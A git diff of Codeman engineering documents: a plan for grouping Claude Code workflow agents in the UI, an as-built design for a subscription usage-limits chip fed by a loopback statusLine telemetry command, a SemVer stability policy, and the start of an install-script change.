- **`workflowProgress[] → agents[]`:** filter `type === 'workflow_agent'`, map each to a `WorkflowAgentEntry` (§3c) keyed by `agentId`. **This array is the join source the frontend uses** — no backend `getAgentLabel()` API, no TTL cache, no import from `subagent-watcher`.
- **Emit** `workflow:run_discovered|updated|removed` carrying `WorkflowRunInfo`; removal by set-diff (mirror `team-watcher`).
- **Lifecycle:** `start()`/`stop()` with `CleanupManager` teardown of chokidar + interval + caches; `LRUMap`-bounded run cache (24h memory rule).
### 3c. `src/types/` — workflow run types
```ts
export interface WorkflowAgentEntry { // one workflowProgress[type==='workflow_agent']
agentId: string; label: string; phaseIndex?: number; phaseTitle?: string;
agentType?: string; model?: string; state?: string; // 'done'|'running'|'queued'|...
lastToolName?: string; lastToolSummary?: string; tokens?: number; toolCalls?: number;
}
export interface WorkflowRunInfo {
runId: string; sessionUuid: string; projectHash: string;
workflowName?: string; summary?: string; status?: string; // 'running'|'completed'|...
phases: Array<{ title: string; detail?: string }>;
agentCount?: number; defaultModel?: string;
agents: WorkflowAgentEntry[]; // workflowProgress filtered to workflow_agent, keyed by agentId
startedAt?: number; durationMs?: number; totalTokens?: number; totalToolCalls?: number;
}
```
The two `SubagentInfo` workflow fields stay inline in `subagent-watcher.ts` (matching the existing convention).
### 3d. `src/web/sse-events.ts` — register run events
Add `workflow:run_discovered`, `workflow:run_updated`, `workflow:run_removed` after the `subagent:*` block and to the `SseEvent` union. **No new per-agent event** — workflow agents reuse `subagent:*`.
### 3e. `src/web/server.ts` — bridge, snapshot, gating
- **`setupWorkflowRunWatcherListeners()`** (beside `setupSubagentWatcherListeners`): map the three run events → `this.broadcast(...)`. Add `cleanupWorkflowRunWatcherListeners()` (store handler refs).
- **Start/stop:** call `workflowRunWatcher.start()`/`.stop()` beside `subagentWatcher`, **gated on the same enable condition** (§3f).
- **`getLightState()`:** add `workflowRuns: workflowRunWatcher.getRecentRuns(15)` beside `subagents: subagentWatcher.getRecentSubagents(15)` so headers replay on reconnect (agents already replay via `subagents`). Keep the `LIGHT_STATE_CACHE_TTL_MS` memoization.
- **Gating read:** add `isWorkflowAgentTrackingEnabled()` mirroring `isSubagentTrackingEnabled()` (boot-time `dataPath('settings.json')` read). Gate `workflowRunWatcher.start()` **and** the subagent-watcher `workflows/` descent (§3a-3) on `showUltracodeAgents` so non-opted-in users never register historical workflow agents.
### 3f. `src/web/schemas.ts` — settings key
Add `showUltracodeAgents: z.boolean().optional()` to the `.strict()` settings update schema near `showPlanUsageLimits` (required — `.strict()` 400s the whole PUT on an unknown key).
### 3g. `src/web/routes/system-routes.ts` — poll API
- `GET /api/subagents` and `GET /api/sessions/:id/subagents` include workflow agents once registered — **no change** (they carry `isWorkflowAgent`/`workflowRunId`; a consumer joins to `/api/workflows/:runId` for labels).
- Add `GET /api/workflows` → `workflowRunWatcher.getRecentRuns()` and `GET /api/workflows/:runId` (uniform `ApiResponse` contract; headers are also in `getLightState`).
- `GET /api/subagents/:agentId/transcript` works for workflow agents (they're in `agentInfo`) — no new route.
## 4. Frontend changes (file-by-file)
### 4a. `src/web/public/constants.js`
- Add the three SSE strings to `SSE_EVENTS`, matching §3d exactly (`WORKFLOW_RUN_DISCOVERED: 'workflow:run_discovered'`, etc.).
- Reuse `ZINDEX_SUBAGENT_BASE=1000` for the agent windows (they ARE subagent windows). The group **header/cluster** is in-flow panel DOM, not a floating window — no new z-index (1100 is plan-subagent).
### 4b. `src/web/public/app.js`
- Constructor: `this.workflowRuns = new Map(); // runId -> WorkflowRunInfo` beside `this.subagents`.
- `_SSE_HANDLER_MAP`: add three rows → `_onWorkflowRunDiscovered/Updated/Removed` (must exist before `connectSSE` builds the wrappers).
- `handleInit`: after seeding `data.subagents`, seed `this.workflowRuns` from `data.workflowRuns` (clear-then-set). **Clear `this.workflowRuns` everywhere the subagent Maps are cleared** (incl. `cleanupAllFloatingWindows`) — 24h leak guard.
### 4c. `src/web/public/panels-ui.js` — the join lives here
- `_onWorkflowRunDiscovered/Updated(data)` → `this.workflowRuns.set(data.runId, data)` + debounced re-render; `_onWorkflowRunRemoved` → delete + re-render.
- **No change to `_onSubagentDiscovered/Updated`** — they already store the whole payload, so the 2 new fields ride along.
- `renderSubagentPanel`/`_renderSubagentPanelImmediate`: when `showUltracodeAgents` is on, **partition `this.subagents` into flat (no `workflowRunId`) vs grouped-by-`workflowRunId`**. Flat agents render exactly as today. For each group: build the header from `this.workflowRuns.get(runId)` (`workflowName` + phase/status chip from `phases[]`), then render that run's agents reusing the existing per-agent row markup. **Per-agent label/phase/agentType come from the JOIN** — build `Map(agentId → entry)` from `this.workflowRuns.get(runId).agents` and look each agent up by `agent.agentId`; render the small chip via the `getTeammateBadgeHtml` pattern. (If the run object hasn't arrived yet, fall back to the agent's own `description` — the run `:updated` event will fill it in on the next render.)
- `findParentSessionForSubagent` is unchanged — workflow agent `sessionId === session.claudeSessionId`. **Do not conflate `workflowRunId` with `sessionId`.**
### 4d. `src/web/public/subagent-windows.js`
**Decision: REUSE `.subagent-window` per agent + a group sub-header — do NOT build a cluster class.** A cluster path duplicates Map/z-index/drag/cleanup/persistence for no functional gain; reuse keeps connection lines, minimize-to-tab, and `localStorage` persistence. In `openSubagentWindow`, where the optional `.subagent-window-parent` sub-header is built: when `agent.workflowRunId` is set, inject a `.subagent-workflow-header` showing `this.workflowRuns.get(runId)?.workflowName` + the joined agent's `label`/phase (look up by `agentId`), mirroring the `from <session>` sub-header. Respect the existing skip guards (teammate-terminal windows, minimized/`_lazyTerminal`).
**Do NOT auto-open windows** for workflow agents — a multi-phase run can spawn many, against the 50-window/60fps budget + `MAX_TRACKED_AGENTS=500`. They render collapsed in the grouped panel; the user expands via the existing panel buttons.
### 4e. `src/web/public/settings-ui.js` + `index.html`
- `index.html` Panels block: add a `settings-item` checkbox `id="appSettingsShowUltracodeAgents"` ("Show ULTRACODE / Workflow Agents").
- `openAppSettings`: load `settings.showUltracodeAgents` with `false` fallback (mirror `showPlanUsageLimits`).
- `saveAppSettings`: collect `showUltracodeAgents` into the fresh settings literal (uncollected keys reset to default every save).
- Live-apply on toggle: re-run `renderSubagentPanel()` (show/hide group sections) — a panel re-render, not a CSS-class strip.
- **SYNCED, not per-device:** do NOT add `showUltracodeAgents` to `displayKeys` and do NOT strip it in the per-device block. A synced value gives the server-side gate (`isWorkflowAgentTrackingEnabled`, §3e) one canonical truth to decide whether to run the watcher; a per-device value can't gate a process-wide watcher. (Contrast `showResponseViewer`, pure client display.)
- `styles.css` + `mobile.css`: add `.subagent-workflow-header` and `.subagent-group-badge` next to `.subagent-window-parent`; mirror device overrides in `mobile.css`.
## 5. Settings / opt-in wiring
- **Key:** `showUltracodeAgents` (boolean, **default OFF**). Fallback `false` in `openAppSettings`; "absent ⇒ off" in `isWorkflowAgentTrackingEnabled()`. Schema `z.boolean().optional()` in the `.strict()` update schema, kept OUT of `displayKeys` (synced).
- **Runtime gating:** `workflowRunWatcher.start()` and the subagent-watcher `workflows/` descent run only when the boot-time `settings.json` read reports `showUltracodeAgents === true` (mirroring `isSubagentTrackingEnabled`). The frontend additionally gates display. Toggling at runtime gates **display** immediately (panel re-render); the **watcher branch** picks up on next boot — matches existing `subagentTrackingEnabled` semantics. (Optional polish: restart just the workflow watcher on toggle for instant on/off.)
## 6. SSE events
**Reused (no change):** `subagent:discovered|updated|tool_call|tool_result|progress|message|completed`. Workflow agents flow through these; payloads now carry the optional `isWorkflowAgent`/`workflowRunId` fields on `SubagentInfo`. SSE payloads aren't schema-gated (typed only at `broadcast()` call sites), so the new fields propagate with zero friction.
**New (3 events, run-level metadata):**
| Event (backend const / frontend key) | Payload |
|---|---|
| `workflow:run_discovered` / `WORKFLOW_RUN_DISCOVERED` | `WorkflowRunInfo` |
| `workflow:run_updated` / `WORKFLOW_RUN_UPDATED` | `WorkflowRunInfo` |
| `workflow:run_removed` / `WORKFLOW_RUN_REMOVED` | `{ runId: string }` |
Sync requirement (CLAUDE.md): each must appear in **both** `sse-events.ts` (§3d) and `constants.js` `SSE_EVENTS` (§4a), be emitted via `broadcast()` in `setupWorkflowRunWatcherListeners()` (§3e), and have a dispatch-table row + `_on*` handler (§4b/§4c).
## 7. Edge cases & cleanup
- **`journal.jsonl` phantom-agent trap** — owned by §3a-4: run-dir registration requires the `agent-` prefix and excludes `journal.jsonl`.
- **`isInternalAgent` over-filtering** — owned by §3a-6: bypass at BOTH drop sites; titled from the frontend join (or the description fallback).
- **No workflow agents in the flat list** — `renderSubagentPanel` partitions on `agent.workflowRunId` (§4c). When the toggle is OFF, the descent never ran, so they aren't in `this.subagents` at all.
- **Completion/idle** — keep the existing per-agent mtime/PID/pgrep liveness as the per-card source of truth. Optionally render a group-level "workflow done" badge from run-state `status==='completed'`.
- **Limits** — `MAX_TRACKED_AGENTS=500` LRU-evicts workflow agents in the same flat map; no auto-open (50-window budget); the 4h `STARTUP_MAX_FILE_AGE_MS` skip means a run completed >4h ago won't reload after restart (acceptable — live monitoring).
- **Reconnect/replay** — agents via `getRecentSubagents(15)`; headers via `workflowRuns: getRecentRuns(15)` in `getLightState`. `handleInit` clears `this.workflowRuns` alongside the subagent Maps.
- **Watcher teardown** — every per-run `fs.watch` and the chokidar watcher closes in `stop()` and on `error`; `CleanupManager` for the new watcher (24h runs create many run dirs).
- **CLAUDE.md discipline** — read-only `~/.claude/...` artifacts; no new `~/.codeman/...` paths, no env-var prefixes touched. Claude-mode-only by nature (external CLIs don't write workflow transcripts).
## 8. Testing & verification
- **Unit (pure):**
- `test/workflow-run-watcher.test.ts`: feed a scrubbed fixture `wf_<runId>.json` → assert `WorkflowRunInfo` extraction (name/summary/phases, `workflowProgress`→`agents[]` keyed by `agentId`), mtime-skip, removal-by-set-diff.
- Extend `subagent-watcher` coverage: temp `subagents/workflows/wf_X/agent-Y.jsonl` + a stray `journal.jsonl` → assert `agent-Y` registered with `isWorkflowAgent`/`workflowRunId` and `journal.jsonl` NOT registered; assert a short-description workflow agent is NOT dropped at **either** `isInternalAgent` site.
- **Route/inject (`app.inject`):** `GET /api/workflows` + `:runId` return the `ApiResponse` envelope; `GET /api/subagents` includes a tagged agent.
- **Frontend (vm-sandbox, like `test/run-mode-ui.test.ts`):** dispatch `subagent:discovered` with `workflowRunId` + `workflow:run_discovered` → assert `renderSubagentPanel` produces a group section under the workflow name with the agent inside it (label sourced from the **join**, not flat); assert order-independence (agent before run, and run before agent both resolve); assert OFF hides the section.
- **REQUIRED real end-to-end** (the always-end-to-end-test rule — the plan-usage chip shipped *dead* from a gate mismatch): on dev/beta with `showUltracodeAgents` ON, **drive a real ultracode/workflow run**, then (1) `curl …/api/workflows | jq` shows the live run with `agents[]`; (2) `curl …/api/subagents | jq '.data[]|select(.isWorkflowAgent)'` shows tagged agents; (3) watch `/api/events` for `workflow:run_discovered` + `subagent:discovered` with the workflow fields; (4) Playwright (`waitUntil:'domcontentloaded'`, wait 3–4s) asserts the grouped DOM cluster renders with the workflow-name header and live status. Verify path gates against `GET /api/sessions` `workingDir`. **Test against a LIVE run** — all at-rest runs are `completed`/`done`; `running`/`queued` states only exist mid-run.
## 9. Phased rollout
| Phase | Scope | Done-check | Size |
|---|---|---|---|
| **P1 — Backend discovery + tagging (gated, no UI)** | §3a (nested descent, `journal.jsonl` skip, 2 `SubagentInfo` fields, `isInternalAgent` bypass ×2) + §3f schema key + §3e gate read. No run watcher yet. | With `showUltracodeAgents` forced on, `curl /api/subagents \| jq '.data[]\|select(.isWorkflowAgent)'` lists real workflow agents during a live run; flat subagents unchanged; `tsc --noEmit` + targeted watcher test green. | S–M |
| **P2 — Run-state metadata + SSE** | §3b (`workflow-run-watcher.ts`) + §3c types + §3d/§3e (SSE, bridge, `getLightState` replay) + §3g routes. | `curl /api/workflows \| jq` returns runs with `agents[]`/`phases`; SSE emits `workflow:run_discovered`; reconnect snapshot carries `workflowRuns`. | M |
| **P3 — Frontend grouped UI** | §4a–§4d (constants, app.js state/dispatch/init, panels-ui grouped render + **agent→label join**, subagent-windows group sub-header). Reuse `.subagent-window`; no auto-open. | Playwright: live run renders a group section under the workflow name with per-agent rows + live status + joined labels; flat subagents stay flat; expand opens a window with the workflow sub-header. | M |
| **P4 — Settings toggle + polish + docs** | §4e (checkbox, settings-ui load/save/live-apply, SYNCED), styles/mobile, phase chips, CLAUDE.md "Key Patterns" entry + this doc's status → SHIPPED. | Toggling the checkbox shows/hides the cluster live (no reload for display); OFF by default on a fresh install; CI green. | S |
Each phase is independently shippable: P1 is invisible (gated, no UI), P2 adds an API with no UI dependency, P3 lights up the UI for flag-enablers, P4 exposes the toggle and finalizes defaults/docs.
## 10. Effort & risk
**Size:** P1 = S–M, P2 = M, P3 = M, P4 = S. Total ≈ **M** (one focused engineer, ~2–4 days incl. the real end-to-end run — down from the first draft's M-L now that the backend join/coupling is gone).
**Top 3 risks:**
1. **Non-recursive watch on Linux misses live writes.** `fs.watch` is non-recursive and `{recursive:true}` is unreliable on Linux → per-`wf_<runId>` watchers (§3a-4) are correct, but the 5s full scan must re-`readdir(wfRoot)` to catch *new* run dirs mid-session, and each watcher must be torn down to avoid FSWatcher leaks in 24h runs. Mitigation: explicit per-run-dir registration + verified `dirWatchers` teardown; chokidar (with `CleanupManager`) only in the new run watcher, where `team-watcher` already proves the pattern.
2. **Discovery cost / over-registration.** A user with hundreds of historical workflow agents could flood `agentInfo` on boot. Mitigation: the 4h `STARTUP_MAX_FILE_AGE_MS` skip drops old files on the initial scan, the descent only runs when the toggle is on, and `MAX_TRACKED_AGENTS=500` LRU-evicts. Verify boot scan time doesn't regress with the corpus present.
3. **Shipping-dead-on-a-gate** (the repo's recurring failure mode — the plan-usage chip shipped dead because injection was gated on `CASES_DIR` while real sessions ran elsewhere). Same trap here if the path/mode gate is wrong (e.g. `projects/*/workflows` instead of `projects/*/*/workflows`, or correlation via the wrong session key). Mitigation: the **mandatory live ultracode end-to-end run** in §8 against a real session's `workingDir`, observing the real SSE event + real DOM cluster — not the at-rest corpus, not unit tests alone.
+169
View File
@@ -0,0 +1,169 @@
# Plan Usage Limits Display — Design & As-Built
> **Status: SHIPPED — deployed to prod + pushed to master, not yet released (2026-06-14).** Opt-in via App Settings → Display → **Plan Usage Limits** (`showPlanUsageLimits`, default OFF). Commits `c82f6c8` (feature) → `4d9d93d` (end-to-end fixes) → `eae225b` (per-user reconcile) → `95fb5fc` (init-snapshot replay). Full suite green (2869), CI green. No changeset/version bump yet.
>
> Two surfaces from one `statusLine` callback:
> - **Header chip** (top-right) — account-wide **plan limits**: `5h 35% · 7d 38%`, per-window green/yellow/red.
> - **In-terminal statusline footer** — the **current session's** status: `Opus 4.8 (1M context) in:562,411 out:1,188 ctx:56%`.
>
> The `rate_limits` JSON schema below was **empirically confirmed** against Claude Code 2.1.177 on a Claude Max account; see the Verification appendix to reproduce.
## Problem
Codeman had no proactive view of how much of the Claude subscription is left. It only learned about limits **reactively**: `usage-limit-patterns.ts` regex-scrapes ANSI-stripped terminal output for footer strings like `5-hour limit reached ∙ resets 8pm`, extracting only the **reset time**, and only *after* Claude has already stalled. There was no "73% of your 5-hour limit used" anywhere.
We wanted a live, always-visible gauge so the operator can see a wall coming and pace overnight/autonomous runs — without hijacking the in-terminal statusline, which should keep showing the current session's status.
## Data source: the statusline `rate_limits` JSON
Claude Code (**v2.1.80+**; prod box runs **2.1.177**) pipes a JSON blob to a configured `statusLine.command` on stdin after each render. On Pro/Max subscriptions that blob includes `rate_limits`. **This is the only channel that exposes plan-limit data** (see rejected alternatives) — so the feature *must* set a statusLine command, which is why the footer is also reconstructed by it (below).
### Confirmed schema (real captured payload)
```jsonc
"rate_limits": {
"five_hour": { "used_percentage": 15, "resets_at": 1781409000 }, // → 2026-06-14T03:50:00Z
"seven_day": { "used_percentage": 34, "resets_at": 1781827200 } // → 2026-06-19T00:00:00Z
}
```
| Field | Type | Notes |
|-------|------|-------|
| `rate_limits.five_hour.used_percentage` | `number` 0–100 | Integer-valued in practice; treat as `number`, don't assume decimals. |
| `rate_limits.five_hour.resets_at` | `number` | **Epoch SECONDS** (10 digits). `×1000` for a JS `Date`. |
| `rate_limits.seven_day.{used_percentage,resets_at}` | same | |
**Confirmed facts & gotchas:**
- **Only two windows exist: `five_hour` and `seven_day`.** There is **no separate Opus-weekly field**, even on a Max/Opus account.
- `rate_limits` is **absent on the first render**, **present after the first API response**. UI degrades to "no chip yet."
- statusLine fires **only in interactive TUI mode**, never `--print`. Fine — Codeman sessions are interactive TUIs (and so are Codeman-spawned ones in tmux).
- **Subscriber-gated.** Absent for API-key / non-subscriber auth.
### Bonus telemetry in the same payload — used for the footer
The same stdin object also carries `model.display_name`, `context_window.{used_percentage, total_input_tokens, total_output_tokens, …}`, `cost.total_cost_usd`, `effort.level`, etc. The shipped feature uses **model + token totals + context %** to build the in-terminal footer (so the statusline stays useful even though we own it). The endpoint also broadcasts `contextUsedPercentage`/`costUsd`/`modelDisplayName` alongside the limits for future chip tooltips.
### Alternatives considered & rejected
| Source | Why not |
|--------|---------|
| OAuth endpoint `api.anthropic.com/api/oauth/usage` | Undocumented, aggressively rate-limited, needs the **encrypted** OAuth token. Only worth it for *dollar spend*. |
| `/usage` slash command | Interactive-only, no programmatic output. |
| On-disk `~/.claude/` files | No usage state persisted (only `daemon.status.json` = auto-updater supervisor). |
| CLI flag (`claude usage` / `--check-usage`) | Does not exist. |
| `StopFailure` hook | Carries only an `error_type` on *failure* — no live percentages. |
## As-built architecture
```
Claude TUI (any Claude session, incl. linked-case/real-repo sessions)
│ renders statusline after each assistant msg (+ /compact, mode change)
▼
statusLine.command (settings.local.json) ──reads stdin JSON──▶
curl -sk POST $CODEMAN_API_URL/api/status-telemetry {sessionId, data}
(X-Codeman-Hook-Secret: $(cat $CODEMAN_HOOK_SECRET_FILE))
│ ◀── HTTP 200 text/plain = current-SESSION status string ──┘
▼
printf '%s' "$body" → in-terminal footer: "Opus 4.8 (1M context) in:… out:… ctx:…%"
server (status-telemetry-routes.ts):
parse rate_limits → (if changed) store last-known + broadcast SSE session:statusTelemetry → header chip
parse model/tokens/ctx → return the session-status footer string
▼
app.js: _onSessionStatusTelemetry → chip (per-window colors) + localStorage save
handleInit → chip from init-snapshot planUsage (fresh-load replay)
```
### 1. The exporter — `generateStatusLineCommand()` in `hooks-config.ts`
Mirrors the hook `curlCmd()`. Reads the stdin JSON, POSTs `{sessionId, data}` to a **fixed** loopback path, and prints the response body back to stdout (print-through, so the footer stays useful). The managed-session env carries `$CODEMAN_SESSION_ID` / `$CODEMAN_API_URL` / `$CODEMAN_HOOK_SECRET_FILE` (from `tmux-manager.buildEnvExports()`).
```bash
INPUT=$(cat 2>/dev/null || echo '{}'); \
printf '{"sessionId":"%s","data":%s}' "$CODEMAN_SESSION_ID" "$INPUT" | \
curl -sk -X POST "$CODEMAN_API_URL/api/status-telemetry" \
-H 'Content-Type: application/json' \
-H "X-Codeman-Hook-Secret: $(cat "$CODEMAN_HOOK_SECRET_FILE" 2>/dev/null)" \
--data @- 2>/dev/null || echo codeman
```
⚠️ **`curl -sk`, not `curl -s`.** Prod is loopback **HTTPS with a self-signed cert**; without `-k`, curl returns `000` and the statusline silently shows nothing. `-k` is safe (loopback only). *(The existing hook curls use `-s` without `-k` and have the same latent issue on HTTPS installs — a known, separate follow-up.)*
### 2. Endpoint — `POST /api/status-telemetry` (`status-telemetry-routes.ts`)
Fixed path (sessionId in the **body**, not the URL) so the auth exemption is an exact-match like `/api/hook-event` (`middleware/auth.ts`: loopback-only; `X-Codeman-Hook-Secret`-gated while a tunnel runs). Schema `StatusTelemetrySchema` in `schemas.ts` validates the subset; unknown keys are stripped. Pure parsing/formatting in `usage-telemetry.ts`:
- `parseStatusTelemetry(data)` → `{ fiveHour, sevenDay, … }` or `null`. On change (signature dedup; statusline fires often), store last-known (`plan-usage-latest.ts`) and `broadcast('session:statusTelemetry', { sessionId, …telemetry })`.
- `parseSessionStatus(data)` + `formatSessionStatusText()` → the **footer** string `Opus 4.8 (1M context) in:562,411 out:1,188 ctx:56%` (returned as `text/plain`). Available from the first render, even before `rate_limits` appears.
### 3. SSE + frontend chip
`session:statusTelemetry` registered in `sse-events.ts` + `constants.js`. `app.js`:
- `_onSessionStatusTelemetry` → `updatePlanUsageChip(data)` + save to `localStorage['codeman:planUsage']`.
- `updatePlanUsageChip` renders two `5h`/`7d` windows; **per-window color by usage** — green `<60%`, yellow `60–84%`, red `≥85%` (`pu-green/pu-yellow/pu-red`); bold labels/values; reset times in the tooltip. `resets_at*1000 → Date`.
- Chip element ships hidden (`header-plan-usage--hidden`); `applyHeaderVisibilitySettings()` reveals it client-side when the setting is on (response-viewer pattern — **no `renderIndexHtml` strip**, which kept the "title-only" render contract intact).
### 4. Chip data robustness — three layers
1. **Live:** `session:statusTelemetry` SSE on every distinct render.
2. **Fresh load / reconnect:** server stores the latest in `plan-usage-latest.ts`; `getLightState()` includes it as `planUsage`; the per-connection **init snapshot** replays it; `handleInit` paints the chip immediately (authoritative over localStorage). Null until the first telemetry of the process.
3. **Offline / cross-restart:** `restorePlanUsageChip()` reads `localStorage` on load (12h freshness guard).
### 5. Injection lifecycle — works for *any* user, never self-destructs
The setting `showPlanUsageLimits` is **synced** (in `settings.json`, not a per-device `displayKey`).
- **On toggle** (`PUT /api/settings`, `system-routes.ts`): reconcile the exporter across **all active Claude sessions' working dirs** — inject on enable, remove on disable. Server-side and authoritative, so existing sessions get the footer + feed the chip *immediately*, no new session needed, no dependency on a client's synced localStorage.
- **On session create** (`session-routes.ts`): **ADD-ONLY** — inject when `statusLineTelemetry` is true; **never remove**. Sessions in a repo share one `settings.local.json`, so a single create-with-false (e.g. a client whose synced setting hadn't loaded) must not yank the statusLine out from under other live sessions. Removal happens only via the explicit toggle.
- `applyStatusLineConfig()` is **`isOurs`-guarded** (matches `/api/status-telemetry`), so a user's own hand-authored statusLine is never touched, and it **updates an out-of-date ours-command** so fixes (e.g. `-k`) propagate. **No `CASES_DIR` gate** — runs for linked cases / real repos (where sessions actually run), mirroring `updateCaseModel`.
## Codeman-specific considerations
1. **Account-global limits.** The 5h/7d pools are shared across all sessions on the account → one shared header chip (freshest sample wins), not a per-tab bar.
2. **The footer is owned, by necessity.** A statusLine command always replaces Claude's default footer. Since `rate_limits` *only* arrives via statusLine, we reconstruct a useful **session-status** footer (model · tokens · ctx %) from the same payload rather than showing the limits there.
3. **`isOurs`-guarded.** Never removes/overwrites a user's own statusLine on disable; only manages the Codeman exporter.
4. **Security envelope unchanged.** The exporter runs arbitrary shell every render — same trust model as the hook curls (localhost + `$CODEMAN_HOOK_SECRET_FILE`); reuses the hook-secret gate.
5. **Claude-only.** OpenCode/Codex emit no `rate_limits` JSON; injection is gated to `mode === 'claude'`.
6. **Future — auto-resume synergy.** Live percentages would let `SessionAutoOps` pre-arm *before* the wall instead of reacting to the stall footer. Not built.
## Files shipped
- `src/usage-telemetry.ts` — pure parse/format (`parseStatusTelemetry`, `parseSessionStatus`, `formatSessionStatusText`, `telemetrySignature`) + `test/usage-telemetry.test.ts`.
- `src/hooks-config.ts` — `generateStatusLineCommand()` (`curl -sk`), `applyStatusLineConfig()` (add/update/remove, `isOurs`-guarded).
- `src/web/routes/status-telemetry-routes.ts` — `POST /api/status-telemetry`.
- `src/web/plan-usage-latest.ts` — process-wide last-known store for init replay.
- `src/web/schemas.ts` — `StatusTelemetrySchema` + `showPlanUsageLimits` + create-payload `statusLineTelemetry`.
- `src/web/middleware/auth.ts` — exemption extended to `/api/status-telemetry`.
- `src/web/routes/session-routes.ts` — add-only create-time injection.
- `src/web/routes/system-routes.ts` — settings-toggle reconcile.
- `src/web/server.ts` — `getLightState().planUsage` (init snapshot).
- `src/web/sse-events.ts` + `constants.js` — `session:statusTelemetry`.
- Frontend: `app.js` (`_onSessionStatusTelemetry`, `updatePlanUsageChip`, `restorePlanUsageChip`, `handleInit`), `settings-ui.js` (toggle + `applyHeaderVisibilitySettings`), `index.html` (chip + toggle row), `styles.css` (chip + colors), `session-ui.js` (create payload).
## Bugs E2E testing caught (that unit tests didn't)
The first "shipped" build passed every test and was broken in practice. End-to-end testing on the real install (the lesson: drive a REAL session, observe the REAL output) surfaced:
1. **`CASES_DIR` injection gate** excluded the user's whole workflow — sessions run in linked cases / real repos, not under `~/codeman-cases`. → dropped the gate.
2. **`curl -s` → `000`** on the loopback self-signed HTTPS cert; statusline silently empty. → `curl -sk`.
3. **Remove-on-create-false + shared `settings.local.json`** let a single stale client yank the statusLine out from under all sessions in a repo. → add-only on create; removal only via the toggle reconcile.
4. **Chip blank after reload** (localStorage-only, lost on restart/fresh browser). → server-side last-known in the init snapshot.
## Open questions / future
- **Schema stability.** `rate_limits` is officially shipped but undocumented in exact shape; the parser is tolerant (renders whatever windows exist, ignores unknown).
- **Hook `curl -s` parity.** Hooks share the no-`-k` issue on HTTPS installs — worth fixing the hook curl too (separate change; covered by `cod54` tests).
- **Disable cleanliness.** Disabling removes the statusLine from active sessions; a brand-new session created by a *stale* client could re-add it (chip still hidden, footer benign). Fully server-authoritative create-time injection (read the setting server-side instead of the payload flag) would close this — deferred.
## Verification appendix — how the schema was captured (reproducible)
Captured without touching global settings or any real session:
1. Throwaway dir `/tmp/sl-capture` with an exporter `dump.sh` that appends stdin to `payloads.jsonl` and prints `cap`; a `settings.json` pointing `statusLine.command` at it.
2. `--print` mode does **not** render a statusline → no capture (confirms TUI-only). Must use interactive.
3. Launch interactive Claude in an **isolated tmux socket** (`tmux -L slcap`, never `-L codeman`) inside the temp dir, `--settings /tmp/sl-capture/settings.json` (no global mutation). Confirm the workspace-trust dialog (appears even with `--dangerously-skip-permissions`), then send a one-line prompt (literal text + Enter separately, Ink-style).
4. After the first response, `rate_limits` appears in the **second** captured record (absent in the first). Inspect with `jq '.rate_limits'`.
5. Tear down: `tmux -L slcap kill-server` + `rm -rf /tmp/sl-capture`; verify the `codeman` socket is untouched.
Related: `docs/claude-code-hooks-reference.md` (hook callback pattern), `src/usage-limit-patterns.ts` (reactive fallback), `docs/respawn-state-machine.md` (auto-resume interplay).
+79
View File
@@ -0,0 +1,79 @@
# Versioning & Stability Policy
Codeman follows [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`),
managed via `@changesets/cli` (see the COM workflow in `CLAUDE.md`).
This document defines **what the version number actually promises** — i.e. which
surfaces are covered by SemVer and which are explicitly not. It exists because
"1.0" is a commitment to stability, and an undocumented public surface invites
incompatible client assumptions we would then be pressured to keep.
> **Status:** finalized for the 1.0 cut. The HTTP/SSE API **is** part of the stable
> surface — served under `/api/v1` with a uniform response envelope and
> conventional HTTP status codes. See [`api-reference.md`](api-reference.md).
## What SemVer covers (the public, stable surface)
A **MAJOR** bump is required to break any of these after 1.0:
1. **The CLI.** Command names, documented flags, and their behavior for
`codeman <command>` (published to npm as `aicodeman`; invoked as `codeman`).
This is the package's actual public entry point (`bin`).
- The package is published to npm as `aicodeman` and installs **both** the
`aicodeman` and `codeman` commands (`bin` aliases); `codeman` is the
canonical command used throughout the docs. Renaming either after 1.0 is a
breaking change.
2. **The published `xterm-zerolag-input` library**, but on **its own version
line** — it is versioned and released independently of the Codeman app. Its
1.0 status is a separate decision; the Codeman app reaching 1.0 does *not*
imply `xterm-zerolag-input` is 1.0.
3. **Documented environment variables** that configure deployment:
`CODEMAN_PASSWORD`, `CODEMAN_USERNAME`, `CODEMAN_HOST`, `CODEMAN_PORT`,
`CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`, `CODEMAN_DATA_DIR`,
`CODEMAN_TMUX_SOCKET`, and the `--host` / `--port` / `--https` CLI flags.
Removing or changing the meaning of one of these is breaking.
4. **The HTTP API and SSE event channel**, served under **`/api/v1`** with the
uniform `{success:true,data}` / `{success:false,error,errorCode}` envelope and
conventional HTTP status codes. Endpoint paths, the response envelope, error
`errorCode` values, and SSE event names are stable — see
[`api-reference.md`](api-reference.md). *Additive* changes (new endpoints, new
optional fields, new error codes, new SSE events) are non-breaking; breaking
changes ship under a new prefix (`/api/v2`). The unversioned `/api/...` alias
is kept working for the bundled UI.
## What SemVer does NOT cover (internal surfaces — may change in any release)
These may change in a **MINOR** (or even PATCH) release without a MAJOR bump:
1. **The `~/.codeman/` state file formats** (`state.json`, `settings.json`,
`mux-sessions.json`, etc.). We make a **best-effort** to migrate existing data
forward (and have done so across renames), but the on-disk schema is not a
stable contract — do not write tooling that depends on its exact shape.
2. **Internal TypeScript modules.** The npm package is CLI-only; `import`ing it
programmatically is not supported (there is no stable library entry point).
3. **Experimental / opt-in features**, regardless of the app's version:
Gesture Control (beta), Agent Teams
(`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`), and anything labeled experimental
in the UI or docs. These may change or be removed at any time.
## Deprecation policy
When we need to change a covered surface:
- Prefer **additive** changes (new flag/env var/command) over breaking ones.
- A covered surface slated for removal is **deprecated first** — it keeps working
for at least one MINOR release with a runtime warning and a `CHANGELOG.md` note
pointing to the replacement — then removed in the next MAJOR.
- Back-compat migration shims (e.g. the historical Claudeman→Codeman data/socket
migration) are kept until a MAJOR boundary, then may be dropped.
## Pre-1.0 (`0.x`) caveat
Until 1.0 ships, **any release may contain breaking changes** per SemVer's `0.x`
allowance. The commitments above take effect at `1.0.0`.
## See also
- `CLAUDE.md` — the COM release workflow (changesets, version bump, deploy)
- `SECURITY.md` — security reporting and the supported-version policy
- `docs/security-architecture.md` — the full trust model
+200 -27
View File
@@ -7,8 +7,10 @@
# Environment variables:
# CODEMAN_NONINTERACTIVE=1 - Skip all prompts (for CI/automation)
# CODEMAN_INSTALL_DIR - Custom install directory (default: ~/.codeman/app)
# CODEMAN_SKIP_SYSTEMD=1 - Skip systemd service setup prompt
